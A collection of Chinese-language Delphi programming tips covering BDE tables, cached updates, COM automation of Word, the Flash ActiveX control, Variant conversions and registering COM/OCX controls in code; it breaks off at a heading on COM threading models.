Session.GetAliasNames(ap);   {取得别名列表}
if
(ap.IndexOf('Cntssamp')=-1) then   {判断别名是否存在}
begin
answer:=Application.MessageBox(
'别名Cntssamp不存在，
现在创建吗？','BDE信息窗口',mb_OKCancel);
{增加一个名为Cngzsamp的数据库别名}
if  answer=IDCANCEL then
begin
ap.Free;
Exit;
end;
Session.AddStandardAlias
('Cntssamp','c:\delphp11','Paradox');
Session.SaveConfigFile;    {BDE配置文件存盘}
end ;

  ap.Clear;
{取得别名Cngzsamp中的所有表格名称列表}
Session.GetTableNames
('Cntssamp','',False,False,ap);
if
(ap.IndexOf('TSK')=
-1)  then  {判断表格是否存在}
begin
answer:=Application.MessageBox(
'别名Cntssamp中不存在
表格TSK,现在创建吗？','表格信息窗口
',mb_OKCancel);
if answer=IDCANCEL then begin
ap.Free;
Exit;
end;
with table1
do begin
Active:=false;
DatabaseName:='Cntssamp';
{数据库别名}
TableName:='TSK';
{表格名}
TableType:=ttParadox;
{数据库类型}
with FieldDefs do
begin
{增加字段}
Clear;
Add('SH',ftString,30,False);  {书号
String(30)}
Add('SM',ftString,30,False);  {书名
String(30)}
Add('CBS',ftString,20,False); {出版社
String(20)}
Add('CBRQ',ftDate,0,False);   {出版日期
Date}
Add('YS',ftInteger,0,False);   {页数
Integer}
end;
with IndexDefs do
begin
{增加索引}
Clear;
{按书号字段建立主索引}
Add('SHSY','SH',[ixPrimary,ixUnique]);
end;
CreateTable;      {创建表格}
end;
end ;
ap.free;
{释放变量ap}
end;


事务处理

---- 与缓冲机制有关的属性和方法如下，只有在缓冲机制下，即CachedUpdates:=True时，以下属性和方法才有效：

---- CachedUpdates(属性)：为True时，打开缓冲机制。
---- UpdatesObject(属性)：可以放置一个TUpdateSql组件的SQL语句，并可自动执行，也可以由OnUpdateRecord事件处理程序调用。
---- UpdatesPending(属性)：缓存中数据是否改变，True：改变。
---- ApplyUpdates(方法)：将缓冲数据存盘。
---- CommitUpdates(方法)：与ApplyUpdates合作，紧跟之后，将缓冲数据存盘。
---- CancelUpdates(方法)：取消缓存中的所有更新。
---- RevertRecord(方法)：恢复当前记录的原有数据，取消数据更改。
---- UpdateRecord(方法)：将缓冲数据存盘。
---- UpdateStatus(函数)：返回记录的更新状态，共有四种状态，usUnmodified，usModified，usInserted，usDeleted，可供查询。

---- 了解缓冲机制的属性和方法后，用一个电话管理程序来说明。如图1(略)

---- 东西不多，一个TDBGrid，三个Button，四个CheckBox，一个Table和一个DataSource，一个Navigator。将Table.ChacedUpdates属性设置为True，加入三个字段，其中一个State字段是一个计算字段，字段值在DhbTable的OnCalcFields事件中定义，如下：

procedure TForm1.DhbTableCalcFields(DataSet: TDataSet);
begin
If
DhbTable.UpdateStatus =usUnmodified Then
DhbTableState.Value:='原有记录';
//这两种访问字段的方式是等价的
If
DhbTable.UpdateStatus =usModified Then
DhbTable.FieldByName('State').asString:='已修改记录';
If
DhbTable.UpdateStatus =usInserted Then
DhbTable.FieldByName('State').asString:='新增记录';
If
DhbTable.UpdateStatus =usDeleted Then
DhbTable.FieldbyName('State').asstring:='已删除记录';
end;

---- 这个在DhbTable中定义的计算字段表达了每个记录现有的状态，而如何在DBGrid中显示这些字段由四个CheckBox控制，它们共享了一个事件句柄，如下：
procedure TForm1.CheckBox1Click(Sender: TObject);
var UpdataTypes:TUpdateRecordTypes;
begin
UpdataTypes:=[];
If CheckBox1.Checked then
Include(UpdataTypes,rtUnModified);
If CheckBox2.Checked then
Include(UpdataTypes,rtModified);
If CheckBox3.Checked then
Include(UpdataTypes,rtInserted);
If CheckBox4.Checked then
Include(UpdataTypes,rtDeleted);
DhbTable.UpdateRecordTypes :=UpdataTypes;
end;

---- rtModified, rtInserted, rtDeleted, rtUnmodified这四个常量分别定义了缓冲状态下的四种显示状态。若四种都没有选择，默认状态是除了rtDeleted以外的三种状态集合。DhbTable根据其属性UpdateRecordType集合中的值自动显示相应的记录。

---- 三个按钮首先判断缓冲中是否有变化，若有，分别执行缓冲操作指令。OKButton是存盘，CancelAllButton是取消所有更新，RevertThisButton是恢复当前记录的改变(如果有变化)。代码如下：

procedure TForm1.OKButtonClick(Sender: TObject);
begin
If DhbTable.UpdatesPending then
DhbTable.ApplyUpdates;
DhbTable.CommitUpdates;
end;

procedure TForm1.CancelAllButtonClick
(Sender: TObject);
begin
If DhbTable.UpdatesPending then
DhbTable.CancelUpdates;
end;

procedure TForm1.RevertThisButtonClick
(Sender: TObject);
begin
If DhbTable.UpdatesPending then
DhbTable.RevertRecord;
end;

---- 然后，运行这个小程序，感觉一下缓冲的效果，先增加一批记录，修改一批记录，再删除几个记录，单击四个CheckBox，看一看不同选择下的显示方式，试着恢复删除或修改的记录，绝对错不了。
---- 要注意的是，在缓冲机制下，如果用POST，或Refresh或用：

Table.Close
Table.Open

---- 后，修改的数据并没有存入到数据库中，如果要存盘，必须使用：

Table.ApplyUpdates;
Table.CommitUpdates;

---- 这才是缓冲机制下存盘的正确方法。


计算字段值

需要对某字段的所有记录求和，使用如下代码：
var i:double;
{$R *.DFM}
procedure TForm1.Table1CalcFields(dataset: Tdataset);
var
Goodsgold:double;
begin
Goodsgold:=table1.fieldbyname('金额').asfloat;
i:=i+Goodsgold;
label1.caption:=formatfloat('0.00',i);
end;
其中的i是求得的总和，在必要时才将他复位为0，要不他总是有增无减。


关于使用COM对象的方法

关于使用COM对象的方法，以Microsoft Word为例，作简要说明：

Step0： 从Word的类型库(Type Library)文件生成声明文件(xxx_TLB.pas)，

要使用自动对象，必须先读取相应的类型库文件(*.TLB)，从其中得到自动对象的类型信息，

方法：在Delphi IDE中打开......\Microsoft Office\Office\M$Word8.olb

Delphi将根据类型库中的信息生成声明单元Word_TLB.pas，

注意，Delphi在转换过程中将以下符号(symbol)进行了重命名(rename)：
--------------------------------------------------------
类型库中的符号 重命名为
--------------------------------------------------------
Application WordApplication
Document WordDocument
Font WordFont
ParagraphFormat WordParagraphFormat
OLEControl WordOLEControl
LetterContent WordLetterContent
--------------------------------------------------------
这个问题后面会详细讨论

Word_TLB.pas中包含的如下信息：
...
...
const
...
//coClass "Application" 的ClassID
CLASS_WordApplication: TGUID = '{000209FF-0000-0000-C000-000000000046}';
...
...
...
我们也将在后面用到

Step1： 创建WordApplication对象，如下：

函数CreateCOMObject将根据指定的ClassID创建对应的COM自动对象，声明如下：

  //unit COMObj
function CreateCOMObject(const ClassID:
TGUID): IUnknown;

在本例中，我们创建WordApplication对象的代码如下：

// 引用COMObj单元和Word_TLB单元
uses
..., ..., ..., COMObj, Word_TLB;

type
TfmMain = class(TForm)
...
...
private
// 声明一个变量，保存WordApplication的引用
// WordApplication在Word_TLB单元中声明
WordApp: WordApplication;
protected
procedure StartWordApp;
procedure TerminateWordApp;
end;

其中StartWordApp方法将分别创建一个WordApplication对象，
实现如下：

procedure TfmMain.StartWordApp;
begin
if not Assigned(WordApp) then
try
// 创建WordApplication对象
WordApp:=CreateCOMObject(CLASS_WordApplication) as WordApplication;
with WordApp do
begin
// 指定COM对象的属性
Caption:='This copy of WinWord is launched by '+Forms.Application.ExeName;
Visible:=True;
end;
ShowMsg('启动 Word Application 成功');
except
ShowError('启动 Word Application 失败');
end;
end;

procedure TfmMain.btStartWordAppClick(Sender: TObject);
begin
StartWordApp;
end;

Step2： 创建WordApplication对象后就可以使用其属性和方法了，如下：

// 创建新文档
procedure TfmMain.btNewDocClick(Sender: TObject);
var
DocTemplate,
NewTemplate : OleVariant;
begin
StartWordApp;
DocTemplate := UnAssigned; // 打开新文档时使用的模板
NewTemplate := False; // 是否将文档作为模板打开
WordApp.Documents.Add(DocTemplate,NewTemplate);
end;

// 关闭当前文档
procedure TfmMain.btCloseDocClick(Sender: TObject);
var
SaveChanges,
OriginalFormat,
RouteDocument : OleVariant;
begin
SaveChanges := WdDoNotSaveChanges; // 不保存修改
OriginalFormat := UnAssigned; // 未赋值
RouteDocument := UnAssigned; // 未赋值
WordApp.ActiveDocument.Close(SaveChanges,OriginalFormat,RouteDocument);
end;

Step3：COM对象使用完毕后，注意释放

TerminateWordApp方法将释放WordApp指向的COM对象，
实现如下：

procedure TfmMain.TerminateWordApp;
var
SaveChanges,
OriginalFormat,
RouteDocument : OleVariant;
begin
if Assigned(WordApp) then
begin
SaveChanges := WdDoNotSaveChanges; // 不保存修改
OriginalFormat := UnAssigned; // 未赋值
RouteDocument := UnAssigned; // 未赋值
try
// 调用COM对象方法
WordApp.Quit(SaveChanges,OriginalFormat,RouteDocument);
ShowMsg('关闭 Word Application 成功');
except
ErrorMsg('关闭 Word Application 失败');
end;
// 将WordApp赋值为Nil，则原来指向的COM对象的引用记数减1
// 当引用记数为0时，COM对象将被释放
WordApp := Nil;
end;
end;

procedure TfmMain.FormDestroy(Sender: TObject);
begin
TerminateWordApp;
end;

后记：
1、以上所述方法是完全通过编程直接调用COM实现的，
所有使用COM的地方都可以通过上面的方法实现，
步骤为：
(0)根据类型库文件生成声明单元
(1)得到需要的ClassID后使用CreateCOMObject函数创建COM对象
(2)使用COM对象的属性和方法完成操作
(3)释放COM对象

2、我们的目的不仅仅是为了控制Word，而是为了说明使用COM的根本方法，
选择Word作为例子，是因为大家都比较熟悉，
对Word的控制，Delphi已经提供了一些支持，包括：
......\Delphi5\Ocx\Servers\Word97.pas
等于前面所说的Word_TLB.pas，

......\Delphi5\Demos\Activex\Oleauto\Word8\autoimpl.pas
将以上对COM对象的操作封装成了一个Delphi类

还可以参考两个示例：
......\Delphi5\Demos\Activex\Oleauto\Word8\word8auto.dpr
和
......\Delphi5\Demos\Activex\Oleauto\SrvCOMp\Word\pwordCOMp.dpr

3、一般情况下会同时提供很多COM Server，
应该使用什么对象、使用什么方法、使用什么属性
需要参考帮助文件，上面的例子中M$Word8.olb的帮助文件为：
....\Microsoft Office\Office\VBAWRD8.HLP
在没有帮助文件的情况下就需要研究类型库中的信息了

4、关于类型库本身
类型库包含非常丰富的信息，包括：

Interface、DispInterface、CoClass、Enumeration、
Alias、Record、Union、Module等等

这些是类型库的基本信息，此外还包括：
指定的帮助文件、所依赖的其它类型库等等

类型库一般以单独的类型库文件(*.TLB)提供，或包含在Server程序中(*.EXE、*.DLL)
类型库信息包含在EXE中的例子有：
....\Delphi5\Demos\Activex\Oleauto\Autoserv\memoedit.dpr
在DLL中的例子有：
....\Delphi5\Bin\StdVcl40.DLL
这两种情况下，实际上类型库信息都包含在EXE/DLL中的名为"TypeLib"的资源中

查看M$Word8.OLB可以看到，它实际上是一个DLL格式文件

5、关于类型库的Register和Unregister
Windows下有注册类型库的程序RegSvr32.exe，Borland自己也有TRegSvr.exe
除此之外，在Delphi IDE中打开类型库后，可以使用菜单Run|Register ActiveX Server
或Run|Unregister ActiveX Server
那么类型库的Register和Unregister具体是怎么实现的呢，

打开....\Delphi5\Demos\Activex\TRegSvr\TRegSvr.dpr，查看源代码，我们可以看到：
(1)对于*.tlb:
调用OleAut32.DLL中的LoadLibrary函数，得到一个ITypeLib接口，
调用ITypeLib的GetLibAttr方法，得到tagTLibAttr结构，其中包括
GUID、LCID、Major Version、Minor Version、SysKind信息
Register的方法是：
调用OleAut32.DLL中RegisterTypeLib函数
Unregister的方法是：
调用OleAut32.DLL中UnregisterTypeLib函数，参数由前面的tagTLibAttr结构中各域指定

详见TRegSvr.dpr中的RegisterTLB过程

(2)对于*.dll：
调用LoadLibrary函数载入dll
Register的方法是：
调用DLL中的DllRegisterServer函数
Unregister的方法是：
调用DLL中的DllUnregisterServer函数
(3)对于*.exe
Register的方法是：
调用EXE，命令行参数为"/RegServer"
Unregister的方法是：
调用EXE，命令行参数为"/UnregServer"
也就是说，对于DLL和EXE，应该实现自注册(Self Register)，
即ActiveX Server本身完成Register和Unregister动作。

对于Delphi编写的ActiveX Server，这些工作都在COMServ.pas完成，
详细的过程比较罗嗦，有兴趣可以去看看，
主要的代码在RegisterTypeLibrary和UnregisterTypeLibrary过程中
和上面的TRegSvr.dpr中对TLB的注册过程大致一样

经过上面的分析可以看到，最终都是通过OleAut32.DLL中的
RegisterTypeLib和UnregisterTypeLib完成的，

我们注意到一点奇怪的现象：
上面提到的源代码在调用RegisterTypeLib时都是直接调用，
该函数的声明在ActiveX.pas中，指定到OleAut32.DLL中的RegisterTypeLib函数
就在相同的地方，我们也看到了UnregisterTypeLib的声明，
但是，上面提到的源代码在调用UnregisterTypeLib时都没有直接调用，
而是先GetModuleHandle('OLEAut32.DLL')，然后用GetProcAddress查找UnregisterTypeLib，
再根据查找的结果进行调用
而且所有相关的地方都是这样进行，估计不是失误，这样看来，
似乎Borland在写这段程序时考虑到了OLEAut32.DLL中不包括UnregisterTypeLib函数的情况，
难道OLEAut32.DLL的早期版本中的确不包括UnregisterTypeLib函数??
但M$DN对UnregisterTypeLib的说明没有提到

6、关于打开类型库时符号重命名(symbol rename)
类型库中某些符号在生成声明单元时被重命名，
大部分是因为符号名与Pascal关键字重名，因此Delphi必须重命名

但前面说到的几个符号的重命名显然不是这个原因，我们注意到：
(1)这几个符号都是CoClass，而且是类型库中几乎全部的CoClass，
只有一个CoClass："Global"不在其中
(2)这几个符号被重命名后都加上了"Word"前缀，
而这个类型库的名称正好就是"Word"
其中是否存在联系??

7、对于任意的一个CoClass，从类型库中可以得到其中的interface信息，
因此创建和释放COM对象的代码可以自动生成，
对于所有的interface，也可以从类型库中得到其属性、方法信息，
因此访问这些属性、方法的代码也可以自动生成

由此，Delphi 5 将在声明单元中为所有的CoClass
创建相应的代理类(OLE Server Proxy class)，
这些代理类以Delphi类的形式提供封装，而内部实现了对COM对象的全部操作，
包括创建、释放以及访问各种属性和方法
另外，Delphi 5还会将这些代理类作为组件注册到组件板的'Server'页面上
详情请在xxx_TLB.pas中查找"OLE Server Proxy class"

通过这些代理类，我们可以很方便地使用COM对象，
而不必向上面所说的那样一切都通过自己实现，
当然，前面所说的是一切的基础，应该作为原理了解


使用Flash控件

在delphi中使用flash控件

---- FLASH是Macromedia公司出品的，用在互联网上动态的、可互动的shockwave。它的优点是体积小，可边下载边播放，这样就避免了用户长时间的等待。

---- 　 　FLASH可以用其生成动画，还可在网页中加入声音。这样你就能生成多媒体的图形和界面，而使文件的体积却很小。

---- FLASH虽然不可以象一门语言一样进行编程，但用其内置的语句并结合JAVASCRIPE，您也可作出互动性很强的主页来。

---- 　　FLASH另外一个特点就是必须安装插件PLUG-IN，才能被浏览器所接受！当然这也避免了浏览器之间的差异，使之一视同仁！

---- 但是你知道吗？在delphi中可以直接打开flash动画，并控制它播放和停止。你还可以得到它的总帧数，知道怎么实现的吗？请跟我来。

---- 在delphi中的Component|Import ActiveX Contrals...中选中 "Shockwave Flash(Version 1.0)",并单击Install,会出现一个install窗口。

---- 如果要把它添加到一个已经存在的包中，在"into existing package"对话框中的"File name:"窗口中选择你想安装的路径，并单击"OK"；会弹出一个确认的对话框，它问你"Package dclusr50.bpl will be rebuilt. Continue?",单击"Yes"；在弹出的窗口中单击击"install",该插件就安装完毕。

---- 如果要把它添加到一个新建的包中，在"into new package"对话框中的 "File name:"窗口中选择你想安装的路径，并新建一个包，假如命名为test，并单击"OK"；它问你"Package test.bpl will be built. Continue?",单击"Yes"。 在弹出的窗口中单击击"install",该插件就安装完毕。

---- 　　这时，你会在控件条的ActiveX下发现一个新的控件，名字为ShokewaveFlash, 单击它把它放在form中，在该form中放一个OpenDialog控件和一个panel，在该panel上放四个button，他们的caption属性分别命名为"Openfile","Play","Stop","Close".设置panel1，ShockwaveFlash的Align 属性分别为Alleft 和AlClient; 分别在这四个Button的OnClick事件中写下如下代码：

    procedure TForm1.Button1Click(Sender: TObject);
      begin
         if OpenDialog1.Execute then
             ShockwaveFlash1.Movie:=
OpenDialog1.FileName;
      end;

   procedure TForm1.Button2Click(Sender: TObject);
     begin
       ShockwaveFlash1.Play;
     end;

   procedure TForm1.Button3Click(Sender: TObject);
     begin
       ShockwaveFlash1.StopPlay;
     end;

   procedure TForm1.Button4Click(Sender: TObject);
     begin
       ShockwaveFlash1.FreeOnRelease;
       close;
     end;
---- 你可以得到打开的flash图像的总帧数，在panel1上添加一个label，在form1的OnClick事件中写下如下代码
procedure TForm1.FormCreate(Sender: TObject);
  begin
    label1.caption:=shockwaveflash.totalframes;
  end;

你还可以控制该打开的flash图像从那一帧开始播放，
  在panel1上添加一个button和一个Edit控件，

在该button的OnClick事件中添加如下代码。
if ShockwaveFlash1.playing then
  ShockwaveFlash1.GotoFrame(SpinEdit1.Value);
  ShockwaveFlash1.Play;
---- 在edit中填上你想跳到的帧，并单击该button,你即可实现该功能。

---- 怎么样，试试吧，效果还不错吧。


调试进程内的COM Sever

 调试进程内Com Server的步骤是在delphi5带的DG.PDF的45-46页上，但那上面少了关键的一步就是，你还需要点中
Project|Options|Linker中的"include remote debugger symbols“选项,最后还要build all重新编译全部文件。


移去OleContainer的黑边框

 OleContainer1.OleObject.AxBorderStyle := afbNone;


获得Variant类型

 function GetVariantType(const v: variant): string;
begin
case TVarData(v).vType of
varEmpty: result := 'Empty';
varNull: result := 'Null';
varSmallInt: result := 'SmallInt';
varInteger: result := 'Integer';
varSingle: result := 'Single';
varDouble: result := 'Double';
varCurrency: result := 'Currency';
varDate: result := 'Date';
varOleStr: result := 'OleStr';
varDispatch: result := 'Dispatch';
varError: result := 'Error';
varBoolean: result := 'Boolean';
varVariant: result := 'Variant';
varUnknown: result := 'Unknown';
varByte: result := 'Byte';
varString: result := 'String';
varTypeMask: result := 'TypeMask';
varArray: result := 'Array';
varByRef: result := 'ByRef';
end; // case
end;


bmp和Variant的转换

procedure TForm2.VariantToBMP(aValue : OleVariant;var aBmp:TBitmap);
var
Stream : TMemoryStream;
begin
try
Stream := TMemoryStream.Create;

VariantToStream (aValue,Stream);
aBmp.LoadfromStream(Stream);

finally
VariantClear(aValue);
Stream.free;
end;
end;

procedure TForm2.BMPToVariant(aBmp : TBitmap; var aVariant:OleVariant);
var
Stream : TMemoryStream;
begin
try
Stream := TMemoryStream.Create;

Image1.Picture.Bitmap.SaveToStream(Stream);

StreamToVariant(Stream, aVariant);
finally
Stream.Free;
end;
end;

rocedure TForm2.VariantToStream (const v : olevariant;
Stream : TMemoryStream);
var
p : pointer;
begin
Stream.Position := 0;
Stream.Size := VarArrayHighBound (v, 1) -
VarArrayLowBound(v,  1) + 1;
p := VarArrayLock (v);
Stream.Write (p^, Stream.Size);
VarArrayUnlock (v);
Stream.Position := 0;
end;

procedure TForm2.StreamToVariant (Stream : TMemoryStream; var v :
OleVariant);
var
p : pointer;
begin
v :=
VarArrayCreate ([0, Stream.Size - 1], varByte);
p := VarArrayLock
(v);
Stream.Position := 0;
Stream.Read (p^, Stream.Size);
VarArrayUnlock (v);
end;


JPEG和Variant的转换

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics,
Controls,
Forms, Dialogs,jpeg, ExtCtrls,
StdCtrls,ActiveX, AxCtrls;
type
TForm1 = class(TForm)
Image1: TImage;
Button2: TButton;
Image2: TImage;
procedure
Button2Click(Sender: TObject);
private
procedure StreamToVariant(Stream: TMemoryStream;
var v:  OleVariant);
procedure VariantToStream(const
v: olevariant;
Stream: TMemoryStream);
procedure JPEGToVariant(aJPEG :
TJPEGImage;
var aVariant:OleVariant);
procedure VariantToJPEG(aValue
: OleVariant;
var aJPEG:TJPEGImage);
{ Private-Deklarationen }
public
{ Public-Deklarationen }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.VariantToStream (const v : olevariant; Stream :
TMemoryStream);
var
p : pointer;
begin
Stream.Position := 0;
Stream.Size := VarArrayHighBound (v, 1) -
VarArrayLowBound (v, 1) + 1;
p := VarArrayLock (v);
Stream.Write (p^, Stream.Size);
VarArrayUnlock (v);
Stream.Position := 0;
end;

procedure TForm1.StreamToVariant (Stream : TMemoryStream; var v :
OleVariant);
var
p : pointer;
begin
v :=
VarArrayCreate ([0, Stream.Size - 1], varByte);
p := VarArrayLock
(v);
Stream.Position := 0;
Stream.Read (p^, Stream.Size);
VarArrayUnlock (v);
end;

procedure TForm1.JPEGToVariant(aJPEG : TJPEGImage; var aVariant:OleVariant);
var
Stream : TMemoryStream;
begin
try
Stream := TMemoryStream.Create;

aJPEG.Assign(Image1.Picture.Bitmap);
aJPEG.SaveToStream(Stream);

StreamToVariant(Stream, aVariant);
finally
Stream.Free;
end;
end;

procedure TForm1.VariantToJPEG(aValue : OleVariant;var aJPEG:TJPEGImage);
var
Stream : TMemoryStream;
begin
try
Stream := TMemoryStream.Create;

VariantToStream (aValue,Stream);
aJPEG.LoadfromStream(Stream);

finally
VariantClear(aValue);
Stream.free;
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
aJPEG :TJPEGImage;
aVariant : OleVariant;
begin
try
aJPEG:=TJPEGImage.Create;

//JPEG To Variant
aJPEG.Assign(Image1.Picture.Bitmap);
JPEGToVariant(aJPEG,aVariant);

//Variant To JPEG
VariantToJPEG(aVariant,aJPEG);
Image2.Picture.assign(aJPEG);
finally
aJPEG.free;
end;
end;

end.


流和Variant的转换

procedure TForm2.VariantToStream (const v : olevariant;
Stream : TMemoryStream);
var
p : pointer;
begin
Stream.Position := 0;
Stream.Size := VarArrayHighBound (v, 1) -
VarArrayLowBound(v,  1) + 1;
p := VarArrayLock (v);
Stream.Write (p^, Stream.Size);
VarArrayUnlock (v);
Stream.Position := 0;
end;

procedure TForm2.StreamToVariant (Stream : TMemoryStream; var v :
OleVariant);
var
p : pointer;
begin
v :=
VarArrayCreate ([0, Stream.Size - 1], varByte);
p := VarArrayLock
(v);
Stream.Position := 0;
Stream.Read (p^, Stream.Size);
VarArrayUnlock (v);
end;


文件和Variant的转换

function FileToVariant(FileName: String): OleVariant;
var
AStream: TFileStream;
MyBuffer: Pointer;
begin
AStream:=TFileStream.create(FileName,fmOpenRead);
try
aStream.Seek(0, soFromBeginning);
Result:=VarArraycreate([0, AStream.size-1], VarByte);
MyBuffer:=VarArrayLock(Result);
AStream.ReadBuffer(MyBuffer^, AStream.Size);
VarArrayUnlock(Result);
finally
AStream.Free;
end;
end;

procedure VariantToFile(FileName: String; var AVariant: OleVariant);
var
AStream: TFileStream;
MyBuffer: Pointer;
Size: Integer;
begin
AStream:=TFileStream.create(FileName,fmCreate);
try
aStream.Seek(0, soFromBeginning);
Size:=VarArrayHighBound(AVariant,1)+VarArrayLowBound(AVariant,1)+1;
MyBuffer:=VarArrayLock(AVariant);
AStream.WriteBuffer(MyBuffer^, Size);
VarArrayUnlock(AVariant);
finally
AStream.Free;
end;
end;


注册COM

可以用代码在程序中实现COM的注册. 举例如下:
(假设需要注册的文件为test.ocx)
uses OLEctl,....
var
OCXHand: THandle;
RegFunc: TDllRegisterServer;
begin
OCXHand:= LoadLibrary('c:\windows\system\test.ocx');
RegFunc:= GetProcAddress(OCXHand, 'DllRegisterServer');
if RegFunc <> 0 then ShowMessage('Error!');
FreeLibrary(OCXHand);
end;

olectl.pas在\source\rtl\win下.
///////////////////////
在用ＤＥＬＰＨＩ编写程序时，充分利用他人的成果无疑是一条捷径。我们用的控件有的是带源码的ＰＡＳ文件，有的是ＤＣＵ／ＯＢＪ文件；而ＯＬＥ／ＣＯＭ控件也是不可缺少的，由于ＯＬＥ／ＣＯＭ控件不仅可以由ＤＥＬＰＨＩ开发，还可由ＶＢ、ＶＣ、ＰＢ等其它编程语言开发，因而它可以使我们的ＤＥＬＰＨＩ应用程序功能更为强大，例如用一个ＭＰ３播放控件我们就可以编写自己的ＭＰ３播放程序，

用ＡＤＯ对象我们的数据库程序就可能不再依赖ＢＤＥ。

    不过ＯＬＥ／ＣＯＭ控件是需要首先注册才能使用的。通常使用ＯＬＥ／ＣＯＭ控件，首先需要用ＷＩＮＤＯＷＳ自己提供的注册程序RegSvr32.EXE来注册或卸载，如“RegSvr32.EXE Mp3Play.OCX”或

“RegSvr32.EXE Mp3Play.OCX /u”。不过如果要求我们的软件用户自己来注册ＯＬＥ／ＣＯＭ控件，那可不是一个好主意，因为我们完全可以自己在程序中注册ＯＬＥ／ＣＯＭ控件的。下面将讨论如何在ＤＥＬＰＨＩ程序中注册最为常见的ＤＬＬ／ＯＣＸ类型的ＯＬＥ／ＣＯＭ控件。

一、注册ＯＬＥ／ＣＯＭ控件的原理

    在标准ＯＬＥ／ＣＯＭ控件中，有两个函数DllRegisterServer、DllUnregisterServer可调用，其中

DllRegisterServer函数用于注册ＯＬＥ／ＣＯＭ控件，DllUnregisterServer用于卸载ＯＬＥ／ＣＯＭ控件，两个函数的原型均为：function : HResult。我们可用LoadLibrary装载ＤＬＬ／ＯＣＸ文件，用GetProcAddress获取DllRegisterServer和DllUnregisterServer两个函数的指针，然后再直接运行这两个函数即可实现注册和卸载ＯＬＥ／ＣＯＭ控件的操作，从而代替ＷＩＮＤＯＷＳ系统的RegSvr32.exe实现ＯＬＥ／ＣＯＭ控件的注册和卸载。

二、实现过程

    上面的原理很简单，实现起来也就不难了，前提是必须熟悉动态加载ＤＬＬ函数的过程。具体的实现

过程我们可以通过下面的程序代码及注释来理解。

{ 注册一个DLL形式或OCX形式的OLE/COM控件

参数strOleFileName为一个DLL或OCX文件名，

参数OleAction表示注册操作类型，1表示注册，0表示卸载

返回值True表示操作执行成功，False表示操作执行失败

}

function RegisterOleFile (strOleFileName : STRING; OleAction : Byte ) : BOOLEAN;

const

RegisterOle = 1;//注册

UnRegisterOle = 0;//卸载

type

TOleRegisterFunction = function : HResult;//注册或卸载函数的原型

var

hLibraryHandle : THandle;//由LoadLibrary返回的DLL或OCX句柄

hFunctionAddress: TFarProc;//DLL或OCX中的函数句柄，由GetProcAddress返回

RegFunction : TOleRegisterFunction;//注册或卸载函数指针

begin

Result := FALSE;

//打开OLE/DCOM文件，返回的DLL或OCX句柄

hLibraryHandle := LoadLibrary(PCHAR(strOleFileName));

if (hLibraryHandle > 0) then//DLL或OCX句柄正确

try

//返回注册或卸载函数的指针

if (OleAction = RegisterOle) then//返回注册函数的指针

hFunctionAddress := GetProcAddress(hLibraryHandle, pchar('DllRegisterServer'))

else//返回卸载函数的指针

hFunctionAddress := GetProcAddress(hLibraryHandle, pchar('DllUnregisterServer'));

if (hFunctionAddress <> NIL) then//注册或卸载函数存在

begin

RegFunction := TOleRegisterFunction(hFunctionAddress);//获取操作函数的指针

if RegFunction >= 0 then //执行注册或卸载操作，返回值>=0表示执行成功

result := true;

end;

finally

FreeLibrary(hLibraryHandle);//关闭已打开的OLE/DCOM文件

end;

end;

三、应用举例

    在我们的应用例子中，OpenDialog1（TOpenDialog）用于选择一个DLL/COM文件，editOleFileName（TEdit）用于保存DLL/COM文件名称，radiogroupOleAction（TRadioGroup）用于选择操作类型（０－卸载、１－注册），memo1（TMemo）用来显示操作成功或失败的信息。具体的例子还是看程序源码吧。

//选择一个DLL/COM文件

procedure TForm1.Button2Click(Sender: TObject);

begin

if OpenDialog1.execute then //指定一个DLL/COM文件

editOleFileName.text := OpenDialog1.FileName ;

end;

//注册一个DLL形式或OCX形式的OLE/COM控件

procedure TForm1.Button1Click(Sender: TObject);

begin

if editOleFileName.text = '' then exit;//没有指定文件名则不予处理

if RegisterOleFile( editOleFileName.text, radiogroupOleAction.ItemIndex )

then//操作成功

memo1.lines.add( DatetimeToStr( now ) + '----'+ editOleFileName.text

+ radiogroupOleAction.Items[ radiogroupOleAction.ItemIndex ] + '成功！' )

else//操作失败

memo1.lines.add( DatetimeToStr( now ) + '----'+ editOleFileName.text

+ radiogroupOleAction.Items[ radiogroupOleAction.ItemIndex ] + '失败！' );

end;

    把注册ＯＬＥ／ＣＯＭ控件功能作成一个ＯＬＥ／ＣＯＭ或一般的ＤＬＬ供其它程序调用，可以使其它应用程序也具有注册ＯＬＥ／ＣＯＭ控件的功能。


判断COM是否已经注册

function IsClassRegistered(GUID: TGUID): Boolean;

var
ClassID: String;

begin
with TRegistry.Create do
try
ClassID := GUIDToString(GUID);
RootKey := HKEY_CLASSES_ROOT;

Result := OpenKey('\CLSID\' + ClassID, False);
finally
Free;
end;
end;


COM/DCOM中如何传递数组

因为COM/DCOM对象都不在Client程序运行的内存空间(内进程COM对象除外，即便如此，为了统一接口，内进程的COM也不得传递指针),而且在Win32中所有的程序都有自己独立的2GB的内存空间,程序与程序之间传递指针(内存地址)是毫无意义的，而数组、字符串等大量的数据在程序中都是分配一定的内存空间，然后用指针加内存偏移量来存取数据的，这时，如何在COM/DCOM对象中如何传递呢？
在Win32中引入了一新变量Variant，可以通过Variant传递数组。具体的实现方法，用Delphi实现为：

Server(COM/DCOM程序)端：

procedure TTestDCOM.Send4(Size: Integer; D1: OleVariant);
type
TData=array [0..999] of Byte;
Var
Data:TData;
i:Integer;
begin
for i:=0 to Size-1 do begin
Data[i]:=D1[i];
end;
end;

Cleint端:

Var
D1:OleVariant;
begin
D1:=VarArrayCreate([0,99],varByte);

{
D1[1]:=45;
.... //将值存入D1中

            }
S.Send4(99,D1);
//S是TestDCOM对象

end;


产生不重复的随机数

 procedure TForm1.BtnNewClick(Sender: TObject);
var
ID: TGUID;
S: string;
begin
if CoCreateGuid (Id) = s_OK then
begin
s := GUIDToString (Id);
Memo1.Lines.Add (S);
end;
end;


COM对象选择服务器模式的全面描述
CoDelphi.com

摘　要：COM对象选择服务器模式的全面描述
关键字：COM MTS 线程模型 Apartment
类　别：COM & ActiveX

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

COM 使用与Win32同样的线程机制。它使用Win32 API来创建和同步线程。但线程模型在Win32和COM中是不尽相同的。

Win32线程模型
